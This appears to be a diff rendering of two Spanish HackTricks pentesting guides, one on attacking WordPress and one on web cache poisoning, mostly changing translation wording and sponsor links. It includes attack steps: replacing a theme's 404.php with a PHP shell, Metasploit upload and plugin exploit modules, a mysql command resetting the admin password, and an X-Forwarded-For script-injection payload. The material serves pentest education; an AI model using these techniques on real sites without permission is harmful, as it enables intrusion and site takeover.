* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud). * **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).

View file

@ -5,7 +5,7 @@
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary> <summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! * ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) * Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección de exclusivos [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtén el [**swag oficial de PEASS & HackTricks**](https://peass.creator-spring.com) * Obtén el [**swag oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud). * **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
@ -15,14 +15,14 @@
<figure><img src="/.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure> <figure><img src="/.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
\ \
Usa [**Trickest**](https://trickest.io/) para construir y **automatizar flujos de trabajo** con las herramientas comunitarias más avanzadas del mundo.\ Usa [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) para construir y **automatizar flujos de trabajo** con las herramientas comunitarias más avanzadas del mundo.\
Obtén acceso hoy mismo: Obtén acceso hoy mismo:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
## Información básica ## Información básica
Los archivos **subidos** se guardan en: `http://10.10.10.10/wp-content/uploads/2018/08/a.txt`\ Los archivos **subidos** se encuentran en: `http://10.10.10.10/wp-content/uploads/2018/08/a.txt`\
Los archivos de **temas se pueden encontrar en /wp-content/themes/**, por lo que si cambias algún archivo php del tema para obtener RCE, probablemente utilizarás esa ruta. Por ejemplo: Usando el **tema twentytwelve** puedes **acceder** al archivo **404.php** en: [**/wp-content/themes/twentytwelve/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)\ Los archivos de **temas se pueden encontrar en /wp-content/themes/**, por lo que si cambias algún archivo php del tema para obtener RCE, probablemente utilizarás esa ruta. Por ejemplo: Usando el **tema twentytwelve** puedes **acceder** al archivo **404.php** en: [**/wp-content/themes/twentytwelve/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)\
**Otra URL útil podría ser:** [**/wp-content/themes/default/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php) **Otra URL útil podría ser:** [**/wp-content/themes/default/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
@ -35,7 +35,7 @@ Rutas de inicio de sesión predeterminadas para verificar: _**/wp-login.php, /wp
* `index.php` * `index.php`
* `license.txt` contiene información útil como la versión de WordPress instalada. * `license.txt` contiene información útil como la versión de WordPress instalada.
* `wp-activate.php` se utiliza para el proceso de activación por correo electrónico al configurar un nuevo sitio de WordPress. * `wp-activate.php` se utiliza para el proceso de activación por correo electrónico al configurar un nuevo sitio de WordPress.
* Carpetas de inicio de sesión (pueden tener otro nombre para ocultarlas): * Carpetas de inicio de sesión (pueden ser renombradas para ocultarlas):
* `/wp-admin/login.php` * `/wp-admin/login.php`
* `/wp-admin/wp-login.php` * `/wp-admin/wp-login.php`
* `/login.php` * `/login.php`
@ -116,21 +116,21 @@ Para obtener información sobre las versiones de WordPress y los complementos in
4. **Utilización de herramientas automatizadas**: Existen herramientas de escaneo automatizado, como WPScan, que pueden identificar las versiones de WordPress y los complementos instalados en un sitio web. 4. **Utilización de herramientas automatizadas**: Existen herramientas de escaneo automatizado, como WPScan, que pueden identificar las versiones de WordPress y los complementos instalados en un sitio web.
Es importante tener en cuenta que la divulgación de versiones puede ser útil tanto para los administradores del sitio web como para los atacantes. Los administradores pueden utilizar esta información para mantener sus sitios actualizados y protegidos, mientras que los atacantes pueden aprovechar las vulnerabilidades conocidas en versiones antiguas para comprometer un sitio web. Por lo tanto, es fundamental mantener siempre actualizado el software utilizado en un sitio web. Es importante tener en cuenta que obtener información sobre las versiones de WordPress y los complementos puede ayudar a identificar posibles vulnerabilidades conocidas y a tomar medidas para proteger el sitio web. Sin embargo, es fundamental realizar estas actividades dentro del marco legal y ético del pentesting.
```bash ```bash
curl -s -X GET https://wordpress.org/support/article/pages/ | grep http | grep -E '?ver=' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2 curl -s -X GET https://wordpress.org/support/article/pages/ | grep http | grep -E '?ver=' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
``` ```
<figure><img src="/.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure> <figure><img src="/.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
\ \
Utiliza [**Trickest**](https://trickest.io/) para construir y automatizar fácilmente flujos de trabajo impulsados por las herramientas comunitarias más avanzadas del mundo.\ Utiliza [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) para construir y automatizar fácilmente flujos de trabajo impulsados por las herramientas comunitarias más avanzadas del mundo.\
Obtén acceso hoy mismo: Obtén acceso hoy mismo:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
## Enumeración activa ## Enumeración activa
### Plugins y temas ### Plugins y Temas
Probablemente no podrás encontrar todos los Plugins y Temas posibles. Para descubrir todos ellos, deberás **realizar un ataque de fuerza bruta activo a una lista de Plugins y Temas** (afortunadamente, existen herramientas automatizadas que contienen estas listas). Probablemente no podrás encontrar todos los Plugins y Temas posibles. Para descubrir todos ellos, deberás **realizar un ataque de fuerza bruta activo a una lista de Plugins y Temas** (afortunadamente, existen herramientas automatizadas que contienen estas listas).
@ -291,7 +291,7 @@ wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detec
<figure><img src="/.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure> <figure><img src="/.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
\ \
Utiliza [**Trickest**](https://trickest.io/) para construir y automatizar fácilmente flujos de trabajo impulsados por las herramientas comunitarias más avanzadas del mundo.\ Utiliza [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) para construir y automatizar fácilmente flujos de trabajo impulsados por las herramientas comunitarias más avanzadas del mundo.\
Obtén acceso hoy mismo: Obtén acceso hoy mismo:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
@ -309,15 +309,15 @@ return new WP_Error(
Apariencia → Editor de temas → Plantilla 404 (a la derecha) Apariencia → Editor de temas → Plantilla 404 (a la derecha)
Cambie el contenido por una shell php: Cambia el contenido por una shell php:
![](<../../.gitbook/assets/image (21) (1) (1).png>) ![](<../../.gitbook/assets/image (21) (1) (1).png>)
Busque en internet cómo puede acceder a esa página actualizada. En este caso, debe acceder aquí: [http://10.11.1.234/wp-content/themes/twentytwelve/404.php](http://10.11.1.234/wp-content/themes/twentytwelve/404.php) Busca en internet cómo puedes acceder a esa página actualizada. En este caso, debes acceder aquí: [http://10.11.1.234/wp-content/themes/twentytwelve/404.php](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
### MSF ### MSF
Puede usar: Puedes usar:
``` ```
use exploit/unix/webapp/wp_admin_shell_upload use exploit/unix/webapp/wp_admin_shell_upload
``` ```
@ -372,11 +372,11 @@ Busca el archivo zip descargado como se muestra.
![](https://i2.wp.com/1.bp.blogspot.com/-KMumiwE2Tf0/XY9pzznEI4I/AAAAAAAAguk/BavBJP6plFo8NIpa38oWEKfx0jkOXv3HgCLcBGAsYHQ/s1600/12.png?w=687\&ssl=1) ![](https://i2.wp.com/1.bp.blogspot.com/-KMumiwE2Tf0/XY9pzznEI4I/AAAAAAAAguk/BavBJP6plFo8NIpa38oWEKfx0jkOXv3HgCLcBGAsYHQ/s1600/12.png?w=687\&ssl=1)
Una vez que el paquete se instale correctamente, debemos activar el plugin. Una vez que el paquete se instale correctamente, necesitamos activar el plugin.
![](https://i2.wp.com/1.bp.blogspot.com/-YrFg94Y2EZs/XY9pzydfLDI/AAAAAAAAgug/AjZyQ6Na8kUUmquJXwoapxcmr2-8nAMwQCLcBGAsYHQ/s1600/13.png?w=687\&ssl=1) ![](https://i2.wp.com/1.bp.blogspot.com/-YrFg94Y2EZs/XY9pzydfLDI/AAAAAAAAgug/AjZyQ6Na8kUUmquJXwoapxcmr2-8nAMwQCLcBGAsYHQ/s1600/13.png?w=687\&ssl=1)
Cuando todo esté bien configurado, procede a explotar. Dado que hemos instalado un plugin vulnerable llamado "reflex-gallery" y es fácilmente explotable. Cuando todo esté bien configurado, procede a explotar. Dado que hemos instalado el plugin vulnerable llamado "reflex-gallery" y es fácilmente explotable.
Obtendrás el exploit para esta vulnerabilidad dentro del framework Metasploit y, por lo tanto, carga el siguiente módulo y ejecuta el siguiente comando: Obtendrás el exploit para esta vulnerabilidad dentro del framework Metasploit y, por lo tanto, carga el siguiente módulo y ejecuta el siguiente comando:
@ -401,7 +401,7 @@ Para cambiar la contraseña de administrador en WordPress, sigue estos pasos:
5. Haz clic en el enlace "Generar contraseña" para que WordPress genere una contraseña segura automáticamente. Si prefieres establecer tu propia contraseña, puedes hacerlo marcando la casilla "Ocultar" y escribiendo la contraseña deseada. 5. Haz clic en el enlace "Generar contraseña" para que WordPress genere una contraseña segura automáticamente. Si prefieres establecer tu propia contraseña, puedes hacerlo marcando la casilla "Ocultar" y escribiendo la contraseña deseada.
6. Haz clic en el botón "Actualizar perfil" para guardar los cambios. 6. Haz clic en el botón "Actualizar perfil" para guardar los cambios.
¡Listo! Ahora has cambiado la contraseña de administrador en WordPress. Asegúrate de recordar la nueva contraseña y mantenerla segura. ¡Listo! La contraseña de administrador ha sido cambiada con éxito. Asegúrate de recordar la nueva contraseña y mantenerla segura.
```bash ```bash
mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;UPDATE wp_users SET user_pass=MD5('hacked') WHERE ID = 1;" mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;UPDATE wp_users SET user_pass=MD5('hacked') WHERE ID = 1;"
``` ```
@ -409,7 +409,7 @@ mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;UPDATE
### Actualizaciones regulares ### Actualizaciones regulares
Asegúrese de que WordPress, los complementos y los temas estén actualizados. También confirme que la actualización automática está habilitada en wp-config.php: Asegúrese de que WordPress, los plugins y los temas estén actualizados. También confirme que la actualización automática está habilitada en wp-config.php:
```bash ```bash
define( 'WP_AUTO_UPDATE_CORE', true ); define( 'WP_AUTO_UPDATE_CORE', true );
add_filter( 'auto_update_plugin', '__return_true' ); add_filter( 'auto_update_plugin', '__return_true' );
@ -434,7 +434,7 @@ También, **solo instala plugins y temas de WordPress confiables**.
<figure><img src="/.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure> <figure><img src="/.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
\ \
Utiliza [**Trickest**](https://trickest.io/) para construir y **automatizar flujos de trabajo** fácilmente con las herramientas comunitarias más avanzadas del mundo.\ Utiliza [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) para construir y **automatizar flujos de trabajo** fácilmente con las herramientas comunitarias más avanzadas del mundo.\
Obtén acceso hoy mismo: Obtén acceso hoy mismo:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
@ -445,7 +445,7 @@ Obtén acceso hoy mismo:
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! * ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) * Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com) * Obtén el [**merchandising oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de Telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de Telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud). * **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).

View file

@ -7,7 +7,7 @@
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! * ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) * Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com) * Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de Telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud). * **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details> </details>
@ -15,7 +15,7 @@
<figure><img src="/.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure> <figure><img src="/.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
\ \
Utiliza [**Trickest**](https://trickest.io/) para construir y **automatizar flujos de trabajo** con las herramientas comunitarias más avanzadas del mundo.\ Utiliza [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) para construir y **automatizar flujos de trabajo** con las herramientas comunitarias más avanzadas del mundo.\
Obtén acceso hoy mismo: Obtén acceso hoy mismo:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
@ -32,21 +32,21 @@ Obtén acceso hoy mismo:
El objetivo de envenenar la caché es hacer que los **clientes carguen recursos inesperados parcialmente o controlados por el atacante**.\ El objetivo de envenenar la caché es hacer que los **clientes carguen recursos inesperados parcialmente o controlados por el atacante**.\
La respuesta envenenada solo se servirá a los usuarios que visiten la página afectada mientras la caché esté envenenada. Como resultado, el impacto puede variar desde inexistente hasta masivo dependiendo de si la página es popular o no. La respuesta envenenada solo se servirá a los usuarios que visiten la página afectada mientras la caché esté envenenada. Como resultado, el impacto puede variar desde inexistente hasta masivo dependiendo de si la página es popular o no.
Para realizar un ataque de envenenamiento de caché, primero debes **identificar las entradas sin clave** (parámetros que no necesitan aparecer en la solicitud en caché pero que cambian la página devuelta), ver **cómo abusar** de este parámetro y **obtener la respuesta en caché**. Para realizar un ataque de envenenamiento de caché, primero debes **identificar las entradas sin clave** (parámetros que no necesitan aparecer en la solicitud almacenada en caché pero que cambian la página devuelta), ver **cómo abusar** de este parámetro y **obtener la respuesta en caché**.
### Descubrimiento: Verificar las cabeceras HTTP ### Descubrimiento: Verificar las cabeceras HTTP
Por lo general, cuando una respuesta se **almacena en la caché**, habrá una **cabecera que lo indique**, puedes verificar a qué cabeceras debes prestar atención en esta publicación: [**Cabeceras de caché HTTP**](../network-services-pentesting/pentesting-web/special-http-headers.md#cache-headers). Por lo general, cuando una respuesta se **almacena en la caché**, habrá una **cabecera que lo indique**, puedes verificar a qué cabeceras debes prestar atención en esta publicación: [**Cabeceras de caché HTTP**](../network-services-pentesting/pentesting-web/special-http-headers.md#cache-headers).
### Descubrimiento: Caché de código 400 ### Descubrimiento: Caché del código 400
Si piensas que la respuesta se está almacenando en una caché, podrías intentar **enviar solicitudes con una cabecera incorrecta**, que debería recibir una **código de estado 400**. Luego intenta acceder a la solicitud normalmente y si la **respuesta es un código de estado 400**, sabes que es vulnerable (e incluso podrías realizar un DoS).\ Si sospechas que la respuesta se está almacenando en una caché, puedes intentar **enviar solicitudes con una cabecera incorrecta**, que debería recibir una **código de estado 400**. Luego intenta acceder a la solicitud normalmente y si la **respuesta es un código de estado 400**, sabs que es vulnerable (e incluso podrías realizar un DoS).\
Una cabecera mal configurada podría ser simplemente `\:` como cabecera.\ Una cabecera mal configurada podría ser simplemente `\:` como cabecera.\
_Ten en cuenta que a veces este tipo de códigos de estado no se almacenan en caché, por lo que esta prueba será inútil._ _Ten en cuenta que a veces este tipo de códigos de estado no se almacenan en caché, por lo que esta prueba será inútil._
### Descubrimiento: Identificar y evaluar las entradas sin clave ### Descubrimiento: Identificar y evaluar las entradas sin clave
Puedes usar [**Param Miner**](https://portswigger.net/bappstore/17d2949a985c4b7ca092728dba871943) para **brute-force parámetros y cabeceras** que pueden estar **cambiando la respuesta de la página**. Por ejemplo, una página puede estar usando la cabecera `X-Forwarded-For` para indicar al cliente que cargue el script desde allí: Puedes usar [**Param Miner**](https://portswigger.net/bappstore/17d2949a985c4b7ca092728dba871943) para **bruteforcear parámetros y cabeceras** que pueden estar **cambiando la respuesta de la página**. Por ejemplo, una página puede estar utilizando la cabecera `X-Forwarded-For` para indicar al cliente que cargue el script desde allí:
```markup ```markup
<script type="text/javascript" src="//<X-Forwarded-For_value>/resources/js/tracking.js"></script> <script type="text/javascript" src="//<X-Forwarded-For_value>/resources/js/tracking.js"></script>
``` ```
@ -116,12 +116,12 @@ Uso de ejemplo: `wcvs -u example.com`
<figure><img src="/.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure> <figure><img src="/.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
\ \
Utiliza [**Trickest**](https://trickest.io/) para construir y automatizar fácilmente flujos de trabajo con las herramientas comunitarias más avanzadas del mundo.\ Utiliza [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) para construir y automatizar fácilmente flujos de trabajo con las herramientas comunitarias más avanzadas del mundo.\
Obtén acceso hoy mismo: Obtén acceso hoy mismo:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
## Ejemplos vulnerables ## Ejemplos de vulnerabilidades
### Apache Traffic Server ([CVE-2021-27577](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-27577)) ### Apache Traffic Server ([CVE-2021-27577](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-27577))
@ -129,7 +129,7 @@ ATS reenviaba el fragmento dentro de la URL sin eliminarlo y generaba la clave d
### GitHub CP-DoS ### GitHub CP-DoS
Enviar un valor incorrecto en el encabezado de tipo de contenido provocaba una respuesta en caché 405. La clave de caché contenía la cookie, por lo que solo era posible atacar a usuarios no autenticados. Enviar un valor incorrecto en el encabezado de tipo de contenido provocaba una respuesta en caché de error 405. La clave de caché contenía la cookie, por lo que solo era posible atacar a usuarios no autenticados.
### GitLab + GCP CP-DoS ### GitLab + GCP CP-DoS
@ -137,7 +137,7 @@ GitLab utiliza los buckets de GCP para almacenar contenido estático. Los **buck
### Rack Middleware (Ruby on Rails) ### Rack Middleware (Ruby on Rails)
La aplicación Ruby on Rails a menudo se implementa junto con el middleware Rack. El código Rack a continuación toma el valor del **encabezado `x-forwarded-scheme` y lo utiliza como el esquema de la solicitud**. La aplicación Ruby on Rails a menudo se implementa junto con el middleware Rack. El código de Rack a continuación toma el valor del **encabezado `x-forwarded-scheme` y lo utiliza como el esquema de la solicitud**.
![](<../.gitbook/assets/image (159) (2).png>) ![](<../.gitbook/assets/image (159) (2).png>)
@ -151,7 +151,7 @@ La aplicación también podría admitir el encabezado `X-forwarded-host` y redir
### 403 y Storage Buckets ### 403 y Storage Buckets
Anteriormente, **Cloudflare** solía **almacenar en caché** las respuestas **403**, por lo que enviar **encabezados de autorización incorrectos** al intentar acceder a **S3** o **Azure Storage Blobs** expuestos devolverá un 403 que se almacenará en caché. Cloudflare ya no almacena en caché las respuestas 403, pero esto podría funcionar con otros proxies. Anteriormente, **Cloudflare** solía **almacenar en caché** las respuestas **403**, por lo que enviar **encabezados de autorización incorrectos** al intentar acceder a **S3** o **Azure Storage Blobs** expuestos devolvería un 403 que se almacenaría en caché. Cloudflare ya no almacena en caché las respuestas 403, pero esto podría funcionar con otros proxies.
![](<../.gitbook/assets/image (171).png>) ![](<../.gitbook/assets/image (171).png>)
@ -179,7 +179,7 @@ El formato del nombre del encabezado está definido en [RFC7230](https://datatra
![](<../.gitbook/assets/image (175) (2).png>) ![](<../.gitbook/assets/image (175) (2).png>)
En teoría, si un nombre de encabezado contiene caracteres que no están en la lista de **tchar**, debería ser rechazado con una solicitud incorrecta 400. Sin embargo, en la práctica, los servidores no siempre respetan el RFC. La forma más fácil de explotar esta sutileza era dirigirse a Akamai, que no rechaza los encabezados no válidos, sino que los reenvía y almacena cualquier error 400 siempre que no esté presente el encabezado de control de caché. En teoría, si un nombre de encabezado contiene caracteres que no están en la lista de **tchar**, debería ser rechazado con una solicitud incorrecta 400. Sin embargo, en la práctica, los servidores no siempre respetan el RFC. La forma más fácil de explotar esta sutileza era dirigirse a Akamai, que no rechaza los encabezados no válidos, sino que los reenvía y almacena en caché cualquier error 400 siempre que no esté presente el encabezado de control de caché.
![](<../.gitbook/assets/image (163).png>) ![](<../.gitbook/assets/image (163).png>)
@ -222,7 +222,7 @@ Aprende aquí cómo realizar ataques de Decepción de Caché mediante el abuso d
<figure><img src="/.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure> <figure><img src="/.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
\ \
Utiliza [**Trickest**](https://trickest.io/) para construir y **automatizar flujos de trabajo** con las herramientas comunitarias más avanzadas del mundo.\ Utiliza [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) para construir y **automatizar flujos de trabajo** con las herramientas comunitarias más avanzadas del mundo.\
Obtén acceso hoy mismo: Obtén acceso hoy mismo:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
@ -235,6 +235,6 @@ Obtén acceso hoy mismo:
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) * Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtén el [**merchandising oficial de PEASS y HackTricks**](https://peass.creator-spring.com) * Obtén el [**merchandising oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de Telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de Telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
